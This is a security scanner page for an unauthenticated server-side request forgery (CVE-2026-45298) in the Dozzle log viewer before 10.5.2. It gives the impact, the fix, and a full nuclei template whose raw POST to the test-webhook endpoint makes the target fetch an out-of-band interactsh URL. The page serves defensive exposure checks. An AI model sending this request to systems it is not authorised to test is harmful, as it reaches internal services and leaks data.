Dozzle - Server Side Request Forgery

highseverity

8.6CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.

Impact

Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.

Fix

Update to version 10.5.2 or later.

How to confirm it

Send: POST /api/notifications/test-webhook
Positive when: contains in interactsh_protocol "http" AND contains "\"statusCode\":200" AND status 200

Run it with nuclei: nuclei -id CVE-2026-45298 -u <target>

The full check

id: CVE-2026-45298

info:
  name: Dozzle - Server Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.
  impact: |
    Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.
  remediation: |
    Update to version 10.5.2 or later.
  reference:
    - https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45298
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-45298
    epss-score: 0.01491
    epss-percentile: 0.74329
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,ssrf,dozzle,vkev

http:
  - raw:
      - |
        POST /api/notifications/test-webhook HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"url":"http://{{interactsh-url}}","headers":{}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: body
        words:
          - '"statusCode":200'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from